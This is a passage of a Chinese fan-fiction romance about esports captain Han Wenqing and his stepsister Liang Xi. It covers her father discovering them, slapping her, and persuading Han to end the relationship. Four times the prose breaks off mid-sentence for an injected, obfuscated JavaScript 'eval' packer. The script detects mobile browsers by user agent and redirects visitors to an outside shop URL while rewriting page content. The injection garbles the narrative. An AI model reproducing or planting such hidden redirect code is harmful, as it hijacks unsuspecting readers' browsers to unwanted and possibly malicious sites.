“就一点点,调味的。”饮品正好上来,梁夕端起她那杯蓝水,晃了晃,冰块在蓝色的液体里叮叮当当响,点缀着半片橙子。 “你平时一个人来也点这个?”他看着梁夕手里那杯,眉头拧起来。 “对啊。” “一个人在外面喝酒?” “韩队,”梁夕被他那个表情逗乐了,“这里面威士忌含量很低,本质上就是一杯果汁。” 韩文清显然没有被说服。他把自己那杯“真心谎话”拿起来闻了一下,又抿了一口——杜松子酒的味道很淡,藏在茶香之下,但还是能尝得出。 他放下杯子,看着梁夕,语气严肃得像在开赛前战术会议:“以后一个人在外面,别点带酒的。” “我酒量说不定比你好。”梁夕反抗了一句,看着他那个表情,又妥协了,“行行行,以后不点了。” “嗯。”他端起自己那杯,又喝了一口。杜松子酒的味道确实不重,茶香占了上风。 “你经常来?”他环顾了一圈店里的书架和墙上的海报,显然这是他从不涉足的那种空间。 “假期会来。平时在学校没时间。” “一个人?” “有时候跟同学一起,有时候一个人。坐露台这个位置,点一杯喝的,能吹一下午风。” 韩文清看着栏杆外那片海,又看了看她,像是在拼凑某个他从未参与过的的画面。 甜品上来,布朗尼巧克力+宇治抹茶慕斯的组合。 梁夕递给他一把勺子,自己吃了一口,“这道叫‘这么多年’。” 他顿了一下:“什么意思?” “八月长安一本书的名字,”她语气很轻,“讲两个人在很多年后重新遇到的故事。” 韩文清的手原本搁在桌上。闻言,手指动了动,拿起勺子挖了一小口。 “这个还行。”他评价。 梁夕低头笑了,没说别的,就大概讲了讲这本书的故事,讲李燃,讲陈见夏,讲两个人错过,又在多年后重逢。 “这么多年”这几个字,在这个时间节点上,有种命运般的意味。他们从十三四岁重组家庭走到现在,二十一岁,正好是七八年。不算短了。只是他们以前的身份是兄妹,现在才刚刚变成恋人。 这四个字放在别人那里是一本书的名字,放在他们这里,是真实的年岁。 不知不觉已经坐了大半个下午。 “等会还去看电影吗?”韩文清问。 梁夕用手机搜了一眼排片,暑期档确实是小孩的片子居多,国产动画和特摄片占了整个排片表。 “现在排的都不太感兴趣。”她像是忽然想到某个念头,“回家吧,有个电影出续集了,院线下档,应该app上已经有了。” “哪个?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他说是不是你那晚在酒吧被你哥拽走之后,你哥不让你跟他在一起。他其实人挺不错的……” 这条消息太长了,梁夕一时间不知道说什么。一方面,林嘉文算是猜对了一部分——确实是韩文清不让她和他在一起,但不是因为他觉得那男的不行,好吧,他可能也是觉得林嘉文不行。另一方面,这条消息太典型了——“你哥不让你跟他在一起”,这就是所有人都会相信的版本,因为太合理了,合理到没有人会去怀疑什么。 她捏着手机,没有回。就在她沉默的时间里,宋瑶又发了好几条。最新的两条,她扫到后愣了一下。 “他还说,之前在酒吧看你跟你哥说话的样子,总觉得不太对劲。” “他没直说,不过好像觉得……” 最后一条消息戛然而止,后面似乎还有话,被宋瑶自行删掉了,或者是还没想好怎么说。但“不太对劲”四个字,已经足够刺耳。 韩文清把她的手机从她手里拿走了。他没有点进去看更多,只是按了锁屏键,屏幕暗下去。他把手机放在自己那侧的沙发扶手上,离她有一段距离。 “看完了再回。”他说。 梁夕抬头看他。他的表情在投影仪的微光里看不太清楚,但她能感觉到他下颌线绷得很紧。她忽然想到一件事——他不是在看电影,他一直在看她手机屏幕上反射出来的光。他可能已经看到了最后那两条。 电影进入尾声,片尾字幕在屏幕上缓缓滚动。客厅里只有投影仪的风扇声。梁夕忽然开口,声音很轻。 “韩文清,你最怕谁知道?” 韩文清沉默了很久,久到她以为他不会回答了。 “……你爸。” 梁夕抬起头看他。他的表情看不太清楚,但她能感觉到他说这两个字的时候,喉结重重地滚了一下。 “当年他和我妈在一起的时候。”他说,“跟我说过一句话。” “什么?” “你妹妹……妈妈走得早,你以后多照顾她。” 韩文清当时是怎么回答的?好像是点了点头,说了句“知道”。他确实知道。从小到大,他身边所有人都告诉他,比他小的要照顾,比他弱的要保护,这是他这种人天生的责任。 后她搬进来。那个扎着马尾、坐在沙发角落里玩手机、全程没抬头看他一眼的女孩,变成了他每天早晚都会在饭桌上见到的人。他照顾她——给她带零食,帮她挡掉那些找茬的人,等她下晚自习,把菜里的姜丝挑走……每一件事都是在履行“照顾”这两个字。 梁夕没说话。 “他现在要是知道,”韩文清说,“会问我——你照顾到哪去了。” 照顾到哪去了? 他没说话。但梁夕已经听懂了。 “照顾到床上去了——你是想这么说吗?”她没有笑,也没有像平时那样用调皮的语调怼他,“你觉得对不起我爸。” 韩文清闭了一下眼睛。他没有否认。这件事不管用多好听的语言包装,在他自己心里,就是这么直接赤裸。 投影仪自动待机了,客厅彻底暗下来,只剩下落地灯还在角落里亮着一小片暖黄色的光。 梁夕伸出手,捧住他的脸,把他的视线掰过来面对她。他的眼睛在昏暗中显得格外深,瞳仁里映着落地灯的那一小点暖光。她在他的瞳孔里看见了小小的自己,被光影包裹。 “你没有对不起谁。”她一字一顿,声音很轻,但很稳,“你没有辜负他的托付。你照顾我了——从小到大,你一直在照顾我。只是多了一点别的。但那不是你的错,那是我们的事。” 韩文清没有说话。他抬起手,手指穿过她的头发,把她按进怀里。 “你觉得你越界了,你对不起他。可对我来说,没有越界。韩文清,你是我自己选的。如果真有那么一天,我们一起面对他,听懂没?” 她看不见他的脸,但能感觉到他把下巴抵在她头顶,胸腔起伏了一次,很大的一下,像是在把什么东西咽回去。 “……嗯。” 6. 暴露 持续了近一年的隐秘甜蜜,像一层包裹着现实的糖衣,虽小心翼翼,却也恣意生长。 梁夕依旧去看霸图的比赛,坐在家属席,身份却已悄然不同。霸图队员们都认识她,知道是队长的妹妹,只是偶尔会觉得,这个妹妹看队长的眼神,似乎过于明亮专注,而队长对她偶尔扫过的视线,停留的时间也未免长了一点。有一次赛后在休息室,白言飞随口和张新杰提了一嘴,说“韩队对他妹也太好了吧”,梁夕在旁边喝水,听到这话,嘴角弯了一下又收了回去。 梁夕从不在人前叫他“哥”,这个称呼似乎成了他们之间一个心照不宣的秘密开关。 变故来得猝不及防,却又早有端倪。 梁夕的父亲,起初只是觉得有些微的不对劲。 女儿会把不爱吃的水果,自然而然、甚至带着点娇纵地扔到韩文清手里,韩文清也会面不改色地处理掉。梁父皱了皱眉,想说这样不卫生、没规矩,但转念一想,比起以前梁夕对韩文清那种横眉冷对、爱答不理的样子,现在这种兄妹和睦似乎也不是坏事,便把话咽了回去。 直到梁夕大四毕业旅行前,他看见韩文清在玄关,仔细检查梁夕的背包,叮嘱她各种注意事项——证件放在哪个夹层、充电宝不能托运、到了机场给他发消息——那眼神……沉静,专注,深处却翻涌着一种梁父作为男人、再熟悉不过的担忧与占有欲。 那不是哥哥对妹妹出远门应有的眼神。 怀疑的种子一旦种下,目光便不由自主地开始搜寻证据。 他注意到韩文清喝过的水杯,梁夕会拿过来直接喝;注意到两个人在厨房里短暂交错——一个端菜,一个盛饭,梁夕的手指飞快地在韩文清手背上捏了一下,韩文清身体微僵,但没有躲。 直到某次,他在主卧旁边洗手间的垃圾桶里,看到了不该出现的东西——用过的、被纸巾草草包裹的安全//套。 一切猜测,在那瞬间得到了冰冷的证实。 他憋了几天,没有立刻发作。像一头被侵犯了领地的老兽,沉默地观察,压抑着怒火,等待着时机。 那天,梁夕和韩文清一起出门,回来时已是傍晚。进门换鞋时,梁夕把外套脱下来,习惯性地递给韩文清,脸上带着笑意。韩文清接过去,转身准备往衣架上挂。 然后,他们看到了端坐在客厅沙发上的梁父,脸色铁青,面前的烟灰缸里堆满了烟蒂。 “爸?”梁夕脸上的笑容僵住,心里咯噔一下,“你怎么在家?” 今天不是说他公司有事吗? 梁父没看她,目光如鹰隼般钉在韩文清身上。 “去哪了。”声音冷硬。不是疑问,是审讯。 “出去……玩了。”梁夕下意识地回答,身体微微侧移,想挡在韩文清前面一点。 “你们俩一起去的?”梁父的视线终于转向女儿,带着审视和压抑的怒火。 “不行吗?”梁夕反问,心跳如鼓,她几乎可以确定,爸爸知道了。 “你觉得行吗,梁夕?”梁父的声音陡然拔高,带着一种被背叛的痛心疾首,“韩文清是你哥!” 客厅里的空气瞬间降至冰点。 梁夕紧绷的神经反而因为这句话松了一下。这么久以来,躲躲藏藏,小心翼翼,她早就烦了。 她抬起下巴,迎上父亲的目光,语气是破罐破摔的平静,甚至带着一丝嘲讽:“所以呢?” “所以你们两个能在一起吗?!”梁父猛地拍了一下沙发扶手,站了起来,指着她,手指都在发抖,“梁夕,你要点脸行吗?!他是你哥!” “爸!”韩文清上前一步,将梁夕完全挡在身后,他的背脊挺得笔直,脸上没什么表情,但眼神坚定,“是我。” 梁父挥了挥手,像是赶走一只恼人的苍蝇,目光却更加锐利地刺向韩文清:“你什么样我知道,梁夕什么样我更知道!” 韩文清喉结滚动,声音沉缓却清晰:“不是的,爸。是我先喜欢她的。是我没守住分寸。” “谁先谁后我不管!”梁父怒喝,打断他,“但你们俩,绝对是她逼你的!她从小就任性,想要什么不择手段也要得到!” “是我又怎样?”梁夕从韩文清身后探出头,眼圈已经红了,却倔强地梗着脖子,“我和韩文清又没有血缘关系!法律上都不算近亲!” “你喜欢谁不行?啊?!”梁父被她这理直气壮的态度彻底激怒,口不择言,“你偏喜欢你哥?你还……梁夕,你就这么缺男人吗?!” 这话太难听,像淬了毒的鞭子,狠狠抽在梁夕脸上,也甩在了挡在她前面的韩文清身上。 那潜台词再明显不过——对自己名义上的妹妹下手,韩文清,你还是个人吗? 梁夕的眼泪一下子涌了出来,不是伤心,是愤怒和委屈。 她猛地推开韩文清,冲到父亲面前,声音尖利:“我们凭什么不行?!你们能在一起,他妈妈能嫁给你,凭什么我和他就不行?!你和他妈妈结婚的时候,就没想过吗?!你看看我这张脸,再看看他这张脸!你们把两个青春期的、毫无血缘关系的孩子放在同一个屋檐下,就没想过可能会发生什么吗?!!” 她哭喊着,每一个字都带着控诉:“我就是喜欢他!喜欢到想天天看见他!喜欢到想和他在一起!喜欢到想和他睡一张床!怎么了?!我已经成年了!这有什么错?!” “啪——!” 又是一记响亮的耳光。 这次,是梁父盛怒之下挥出的,结结实实打在了梁夕另一侧脸颊上。梁夕被打得趔趄了一下,耳朵嗡嗡作响。 “梁夕!”韩文清惊呼,瞬间上前扶住她,看到她迅速红肿起来的脸颊,心脏像是被狠狠揪住,痛得他几乎窒息。他猛地抬头看向梁父,一向沉稳的声音里带上了压抑不住的怒意和心疼:“爸!你别冲她!” 他将梁夕紧紧护在怀里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529144|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着怒不可遏的梁父,一字一句,认下所有责任:“是我。是我对她动了不该有的心思,是我没控制住自己,是我……对不起您的信任,对不起阿姨。” “韩文清!你道哪门子歉!”梁夕捂着脸,在他怀里挣扎,眼泪混着愤怒,“我们有什么错?!错的是他们!是他们非要凑在一起!” “你们俩,”梁父看着相拥的两人,气得浑身发抖,却又感到一种深深的无力,他指着他们,下了最后通牒,“我不同意。趁早给我断了!我就当这事从来没发生过,你们还是兄妹!” “你做梦!”梁夕几乎是吼出来的。 梁父不再看激动失态的女儿,而是把目光转向始终将梁夕护在怀里、面色沉痛却依旧没有松手的韩文清。他知道,这个继子,性格刚硬,责任感强,有些话,对梁夕说没用,但对韩文清说,或许有用。 “文清,你想想清楚。” 他盯着韩文清的眼睛,声音放缓,却带着更沉重的压力和残酷的现实。 “你想让她以后,走到哪里,都被人戳着脊梁骨,说‘瞧,就是她,跟她哥搞在一起’吗?” 韩文清的身形晃了一下,抱着梁夕的手臂,无意识地收紧,却又像是被这句话扎到,微微松了一丝力道。 梁父说完,不再看他们,转身,重重地摔门进了书房。 时间在令人窒息的沉默中流淌。 不知过了多久,梁夕的哭声渐渐止住,只剩下压抑的抽噎。她抬起头,看着韩文清。他依然抱着她,下巴抵着她的发顶,目光却失去了焦距,望着虚空某处,眉心紧锁,嘴唇抿成一条僵直的线。 他在想梁父最后那句话。 梁夕的心一点点往下沉。她太了解韩文清了。责任、担当、他人的看法、她的名声……这些重担,他永远会毫不犹豫地扛在自己肩上。那话没有动摇她分毫,但一定已经像钉子一样扎进了他心里。他怕的不是自己被人说,是怕她被说。 她轻轻推了推他,声音还带着哭过的沙哑,小心翼翼地试探:“韩文清……” 他没反应。 “韩文清,”她又叫了一声,带着更明显的不安,“你……你不是就准备这么……放弃了吧?” 韩文清这才像是被从某种沉重的思绪中惊醒。他缓缓低下头,看向怀里的人。她脸上清晰的五指印,眼眶和鼻尖都哭得红红的,睫毛上还挂着未干的泪珠。 梁父那句话,在他脑海里反复回响——被人戳脊梁骨…… 他闭了闭眼,再睁开时,眼底翻涌着剧烈的挣扎和痛苦。他张了张嘴,声音干涩: “……梁夕。” 他只叫了她的名字,后面的话,却像是被卡在了喉咙里,沉重得无法吐出。 但那迟疑,那痛苦,那未尽之言里蕴含的可能,已经足够让梁夕看懂。 她的心,彻底凉了下去。她抓着他衣襟的手指,一点点松开,无力地垂落下来。 7. 抉择 客厅里死寂一片,只有书房门紧闭后残留的、令人窒息的低气压,以及梁夕自己压抑不住的、细碎的抽噎声。 韩文清那一声干涩的“梁夕”,和她从未在他眼中见过的、如此沉重而清晰的挣扎,将她刚才因愤怒和委屈而燃起的火焰,彻底浇灭,只剩下刺骨的寒意。 “所以……”梁夕的声音很轻,带着一种空洞的疲惫,她抬起头,眼睛红肿,却不再流泪,只是直直地看着他,“我爸一句话,你就动摇了,是吗?” “不是动摇。”韩文清立刻否认,他的手臂还环着她,却感觉那拥抱变得僵硬而无力,他试图解释,“梁夕,我——” “你什么?”梁夕打断他,嘴角扯出一个比哭还难看的弧度,“你担心我的名声?怕我被人指指点点?还是——” 她顿了顿,声音更低,像是在问一个自己都不敢面对的答案,“还是你其实也觉得,我们这样,是错的?是见不得光的?” “我没有觉得错!”韩文清下意识地反驳,语气急促,带着被误解的痛楚,“我喜欢你,这有什么错?” “可你现在在想怎么结束它!”梁夕猛地推开他,退后两步,拉开了距离。她脸上火辣辣的疼痛还在,心里却更疼。 “韩文清,你看着我,”她指着自己红肿的脸颊,“这一巴掌,是我爸打的,因为他觉得我不要脸,勾引你。但你知道我心里更疼的是什么吗?” 她吸了吸鼻子,努力不让新的眼泪掉下来:“是我喜欢的人,在我爸说了一句‘别人会怎么看你’之后,就开始犹豫,开始想……是不是该放手。” “我不是——” “你就是!”梁夕的声音陡然拔高,“韩文清,我太了解你了!你把责任、担当、别人的看法,看得比什么都重!以前你觉得你是当哥的,我穿得少你去酒吧抓我,你不高兴就黑着脸。现在你觉得自己是我男朋友,我被人说闲话你就要开始掂量。为了我不被戳脊梁骨,你是不是也能……牺牲掉我?牺牲掉我们?你是不是也能说服自己,该放手了?” 韩文清张了张嘴,没有发出声音。他心里确实有一瞬间——就那么一瞬间——在想,是不是分开反而对她更好。这句话他不敢说,但他不敢说的犹豫本身已经写在了脸上。 梁夕从他沉默里读出了答案。她眼眶又热了,但她咬住了。 “梁夕,”他开口,声音低哑,“我只是不知道该怎么处理。我怕的不是自己被人说,我是没办法接受别人用那些词说你。一想到那些话,我……” 他说不下去。喉结滚了一下,移开视线。 梁夕看着他,忽然不再愤怒了。她认识他太多年,太清楚这个人所有坚硬外壳下的裂缝在哪。他不是不想保护她,是太想,想到任何一个可能伤害她的因素他都要提前消灭。 而这一次,他发现的潜在威胁是他自己。和他在一起这件事本身,就可能成为别人伤害她的理由。这个认知对他来说比任何敌人都难说服自己。 她往前走了一步,把他握成拳的手一根根掰开。 “韩文清,”她低头看着他的手,“我们偷偷摸摸一年了。在外面不能光明正大的牵手,在家要装模作样兄友弟恭。你赢了总冠军,回家要躲进我房间的盥洗室里才敢抱我亲我。你们战队的人都知道我是你妹妹。咖啡店的收银多看你一眼你都会僵住。” 她抬起头,眼神平静,声音很轻。 “你觉得我很享受这个吗?我不说是因为怕你更难受。去看比赛,我不敢在你队友面前多叫你一声。张新杰看我的眼神我心里清楚,他觉得我缠你太多了。我有什么资格反驳他?我跟谁都不敢说我是你女朋友。” 她的手攥紧他的手指,眼泪终于还是不受控制地滑落,混合着脸上的红肿,显得格外狼狈:“我受够了。韩文清,我跟你在一起,从来没想过要偷偷摸摸。我喜欢你,就是想光明正大地站在你旁边,就是想告诉所有人,你是我的。如果不能……那这样的感情,我要来干什么?” 最后一句话语气不重,甚至很平静,但每个字都精准地砸在他心上。她知道自己在逼他,用最残酷的方式。但她更怕,怕他最终选择那条看似负责任、实则将他们推向无底深渊的路。 韩文清看着她的脸——红肿未消,泪痕未干,头发乱了,眼睛红得厉害,但眼神是过去一年里他从没见过的一种东西。不是委屈,不是控诉。是底线。她已经没有力气再哭了,她把最后一点力气用在把这道底线摊开。 “所以,韩文清,”她把手从他手里抽出来,退后半步,“你现在就选。” “是选我——还是选你那些该死的责任感和别人可能根本不会在意的眼光。如果你选后者,我们就到此为止。今晚的事当没发生过。你继续当你的好哥哥。我——” 她声音终于止不住地发抖。 “——我就当从来没认识过你。” 韩文清僵在原地,脸色骤然白了。 他这辈子被逼到绝境的时候不是没有过——赛场上被逼到赛点,接连三番被挡在总决赛门外。每一次他都知道自己该做什么。但现在不是。 他当然想选她,想不顾一切地和她在一起。可梁父那句“戳脊梁骨”,像魔咒一样缠绕着他。他无法想象,她因为和他在一起,而承受那些恶意的揣测和指摘。他宁愿自己承受千夫所指,也不愿她受到一丝一毫的伤害。 可是,放手?当作什么都没发生过? 他看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529145|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前这个哭得眼睛红肿、脸颊带伤、却仍然倔强地站在原地看着他的女孩。这是他从小看着长大、不知不觉放在心尖上、最终冲破所有禁忌拥抱入怀的女孩。是他喜欢得快疯了的人。 当作什么都没发生过? 他做不到。 光是想象她以后会用看陌生人的眼神看他,会离他远远的,会投入别人的怀抱……那股几乎要将他撕裂的痛楚和疯狂的嫉妒,就足以摧毁他所有的理智和权衡。 时间在两人绝望的对峙中无声流逝。每一秒都像一个世纪般漫长。 终于,韩文清动了。 他极其缓慢地抬起手,不是去擦她的眼泪,也不是去碰触她的伤痕,而是伸向她垂在身侧微微发抖的手。然后,他握住了她的手。力道不大,却坚定。 “我选你。”他目光沉沉地迎上她的视线。 梁夕的呼吸猛地窒住,眼泪再次汹涌而出。 但韩文清的话还没说完。 他握紧她的手:“梁夕,我选你。但是……” 这个“但是”,让梁夕的心又提了起来。 “但是,我们不能冲动。”韩文清的声音恢复了部分平日的沉稳,“给我一点时间。我去跟爸谈,跟我妈谈。我们需要一个计划。这个计划可能需要时间,可能需要忍耐,可能……会比现在更难。” 他抬手,用指腹轻轻擦去她不断滚落的泪水。 “你愿意相信我一次吗?”他问,“愿意……再给我一点时间,和我一起,去面对这些吗?” “这条路可能不好走,可能会很累,会受很多委屈。”他看着她,将最坏的可能性都摊开在她面前,“但只要你愿意,我就绝不会放手。” 梁夕看着他,看着他眼中那份豁出一切的坚定,刚才的绝望和冰冷,好像一点点被这滚烫的承诺融化。 她反手握紧了他的手,用力点头,哭得说不出话。 “别哭了,”韩文清将她重新拥入怀中,吻了吻她红肿未消的眼睛,“脸还疼吗?” 梁夕摇头,又点头,语无伦次:“疼……但心里……不疼了。” 就在这时,书房的门咔哒一声,再次打开了。 梁父沉着脸站在门口,看着相拥的两人,眼神复杂。他显然听到了他们最后的对话。 韩文清立刻将梁夕护在身后,挺直背脊,迎上梁父的目光,没有任何闪躲。 梁父扶了一下门框,指节发白。他的嘴唇动了动,像是在积蓄接下来要说什么。 韩文清攥着梁夕的手,表情没有变,但喉结重重地滚了一下。梁夕感觉到他的手指无意识地收紧。他正要开口——但梁父没有给他机会,摆了摆手,转身回了书房,把门合上。 8. 食言 那场激烈的家庭冲突后,家里的气氛降到了冰点。 梁父没有再当着梁夕的面发作,但每次从书房出来,视线扫过公共区域——沙发、餐桌、玄关——都会沉默片刻。 梁夕把自己关在房间里,除了吃饭几乎不出来,她不是在赌气。是不知道出来能做什么,和父亲面对面?在餐桌上继续吵?她不确定自己还能不能像那天一样豁出去把所有难听话都喷出来。 几天后的一个下午,梁父没有惊动梁夕,单独把韩文清约到了离家不远的一家清净茶馆。 到茶馆的时候梁父已经坐在包厢里了。是个雅致的两三人的小隔间,竹帘半卷,窗外是午后晒焦的行道树。 茶台上的水刚沸,蒸汽顶起壶盖。梁父把第一道茶倒掉,第二泡斟入杯中,推到他面前。 “红茶,养胃。”梁父没有立刻进入正题,而是像寻常长辈一样,先给韩文清斟了一杯茶。语气和平时一样,像是在聊家常。 韩文清双手接过,杯壁滚烫,他没喝,搁在面前。梁父看着他这个习惯性动作,接过长辈递的杯子永远双手。这不是他教出来的礼仪,不知道是他妈妈教的,还是在战队养成的规矩。 “她又逼你了是不是?”梁父放下茶壶,第一句话就直指核心,语气不算严厉,却带着一种洞察的疲惫,“让你别动摇,选她?” 韩文清端着茶杯的手顿了一下,滚烫的杯壁熨着掌心。 “……没有。”他说,“是我自己想选。” 梁父没有反驳,只是看着他。父子隔着茶台对视——这不是战术室里的那种眼神攻防。这个继子眼里的笃定他不是没见过,在比赛台上,在赛后采访里。 但这一次的笃定不是为了赢,是为了扛。这个发现让他心里更紧了一寸。梁父看着他这副样子,长长地叹了口气。 “梁夕这孩子……从小就主意大。”梁父没有接他的回答,自顾自往下说,“脑子,说好听点,叫灵活,说不好听点,叫心眼多。她妈妈走得早,我一个人带着她,忙,也不太懂怎么跟小姑娘沟通。” 他顿了顿,似乎想起久远的事:“大概她八岁那年吧,我带过一个女朋友回家,想处处看。梁夕很不喜欢她,表面上不吵不闹,背地里……她偷偷拿了那妈妈的一枚戒指,藏在人家包里,然后哭着跑去跟她奶奶说,那个女人偷了她妈妈留给她的东西。她奶奶本来就疼她,一听这话,火冒三丈,直接放话,绝对不让那个女人进门。那女的也委屈,闹了一阵,最后还是分了。那时候,谁能想到,这只是一个八岁孩子,因为单纯的不喜欢,就能编出来的?还做得那么……天衣无缝。” 韩文清抬起眼,有些讶异。他认识梁夕时,她已经是个有些叛逆却也不失明朗的少女,他从未想过她小时候还有这样的一面。 他不知道这些。但他想起以前她说过一句话——“从小到大没人管我”。那时候他还以为她只是说父亲工作忙,现在他听懂了,还多了一层意思:一个八岁就能一个人策划并执行驱逐继母候选人的小孩,确实从很久以前就在自己管自己了。 “后来遇到你妈,”梁父继续道,“梁夕对她倒没那么抗拒。可能她觉得,你妈虽然对她不是多亲热,但至少真实,不装模作样地讨好。我对她……确实关注不够。工作忙是一方面,另一个当爸的,有时候是真不知道怎么跟自己闺女聊天。” 他的目光落在韩文清身上,语气缓和了些,带着一种不得不承认的客观:“她喜欢你,我能理解。你责任心强,跟我完全是反过来的。你性格虽然硬邦邦的,但细心,踏实。这几年你照顾她,我都看在眼里。她人变得开朗多了,不像小时候,跟个浑身是刺的刺猬似的,谁碰扎谁。” 话到这里,他的声音忽然降下来。 “文清,你要不是我儿子——”他顿了顿,手指在茶杯边缘慢慢摩挲,“梁夕能找到你这样的男朋友,我高兴都来不及,双手赞成。” 这个假设,像一根针,轻轻刺破了之前所有温情铺垫的假象。 “但是,文清,”梁父的眼神变得锐利而沉重,一字一句,敲在韩文清心上,“梁夕,毕竟是我的女儿。而你,是她哥。” “哪怕我和你妈明天就去离婚,在法律上你们没关系了。可亲戚、朋友、同学、邻居……所有认识我们两家的人,都知道你们是兄妹,一起生活了快十年。”梁父的声音不高,却带着一种无可辩驳的现实压力,“你们要是真在一起了,以后呢?这些人都不见了吗?所有的社交关系,都断掉吗?逢年过节,怎么面对?别人在背后会怎么议论她?” 他顿了顿,抛出了更具分量的顾虑:“还有你。你现在打职业,名气越来越大。那天我公司新来的一个大学生,听说你是我儿子,还兴奋地问我能不能帮他要个签名。电竞圈现在关注度这么高,如果有媒体,或者……有心之人,挖出你们的关系,添油加醋地报道出去。‘霸图队长韩文清与继妹恋情曝光’……文清,你想过那会是什么后果吗?对你,对她,对战队,会有什么影响?” 韩文清没有回答。他不需要回答。他不是没想过。从和梁夕在一起的第一天起他就在想。每次她在观众席上被他队友喊“韩队你妹来了”,每次赛后她站在人群外面等他,他都想过。他只是从来没在她面前提起。 “作为一个父亲,”梁父的声音里带上了恳切,甚至是一丝不易察觉的哀求,“我没法看着她以后处在那样的风口浪尖,被人用异样的眼光打量,甚至是指指点点。她还年轻,她可以喜欢任何人,可以有无数种更好的选择,没必要走这条最难、最可能受伤的路。” “梁夕倔,认死理,她现在钻牛角尖,我说什么她都听不进去,反而会激起她的逆反心理。”梁父的声音里透着无奈,“但你不一样,文清。你比她清醒,你比她更明白现实是什么样子,责任意味着什么。” 茶馆里安静下来,只有茶水微沸的细响。空气沉重得让人喘不过气。 韩文清低头看着自己面前的茶杯。茶已经彻底凉了,表面不再有热气。手指僵硬,指节微微泛白。 梁父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529146|203660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前倾了倾身,目光牢牢锁住韩文清,那眼神不再是看继子,也不是看女儿的男朋友,而是一个走投无路的父亲,在看唯一可能破局的关键。 “文清,”他的声音很低,带着一种近乎卑微的沉重压力,“算爸……求你。” “跟她断了吧。” “趁现在,还来得及。” “对她好,对你也好。” “就当……什么都没发生过。” 最后几个字,轻飘飘的,却像千斤重担,轰然压在了他肩上。韩文清觉得空气一下子被抽空了。 他端着那杯早已凉透的茶。梁父的话每个字都精准地击中了他。亲戚的异样眼光,邻居暧昧的打量,网络上对选手私生活的窥探与审判——这些都不是空穴来风。他太清楚了。他曾经还在战队休息室里听过队友议论电竞名人私生活被曝光的新闻,那时候他还想:这种事不会发生在自己身上。 现在他站在风暴的正中心。而他最怕的是风暴会席卷到她身上。她用了一整年,等他学会怎么当男朋友;她挨了两巴掌——一个来自他,一个来自她父亲;她把最难听的词“到此为止”怼在他面前,逼他说出“我选你”。而他一个字还没跟父亲谈。他让她等——等一个连他自己都不敢笃定的结果。 他怕的不是输,是赢。赢是以她的平静生活为代价。 他喜欢的女孩,应该是明媚的,快乐的,不应该因为他,而被卷入任何可能的泥沼和非议。 而他,身为兄长——哪怕只是名义上,身为男人,身为一个理应扛起责任的人,他的喜欢,如果带来的只是毁灭和伤害,那这份喜欢,又有什么意义? 对梁夕好。 对他……或许也好。 长久的沉默,几乎要将包厢里的空气都凝结。 韩文清缓缓放下茶杯,瓷器与木质桌面相触,发出清脆却沉闷的一响。 他抬起头,看向对面殷切又沉重的梁父。他眼中的挣扎、痛苦、不甘,如同暴风雨前的海面,翻涌不息,却又在某个瞬间,被一种沉痛的决断所覆盖。 他张了张嘴,喉咙干涩发紧,试了几次,才终于从齿缝间,挤出那个重若千钧的字: “……好。” 二十出头的韩文清,还没学会怎么同时当一个好队长、好儿子、好男朋友,更没学会怎么在父亲开口的那一刻说出“不行”。 他只知道,他好像正在用自己能做到的唯一方式保护她。离开。用他自以为是的沉默和牺牲把风暴从她身上转移开。 梁父看着他,眼中闪过一丝复杂的情绪,像是松了口气,又像是更深沉的愧疚和无奈。他拍了拍韩文清的肩膀,想说点什么,最终也只是化作一声更深的叹息。 “委屈你了,孩子。” 换作一年前,韩文清大概会点头。但现在他所有的力气都在喉咙以下被压缩成一片钝痛,顺着胸腔肋骨延伸。 他知道。从他吐出那个“好”字开始,有些东西,已经被他亲手,埋葬在了这个飘着茶香的午后。 9. 分手 那个沉重的“好”字,最终以一种更直接、也更残忍的方式,传递到了梁夕那里。 从茶馆出来,韩文清在长椅上坐了两个多小时。天完全黑了,蝉鸣渐歇,路灯亮起来。 他拿出手机,打开对话框,手指定格了好久。删删减减,最终变成了四个字:我们谈谈。 走进门时,客厅没有亮大灯,她的卧室门缝里透出和往常一样暖黄的光。他轻轻叩了两下门。 “梁夕。” 门几乎是立刻打开的。她看起来像是一直在等什么消息。头发散在肩头,眼眶没有红,手里还攥着手机,屏幕亮着——就是他那条。 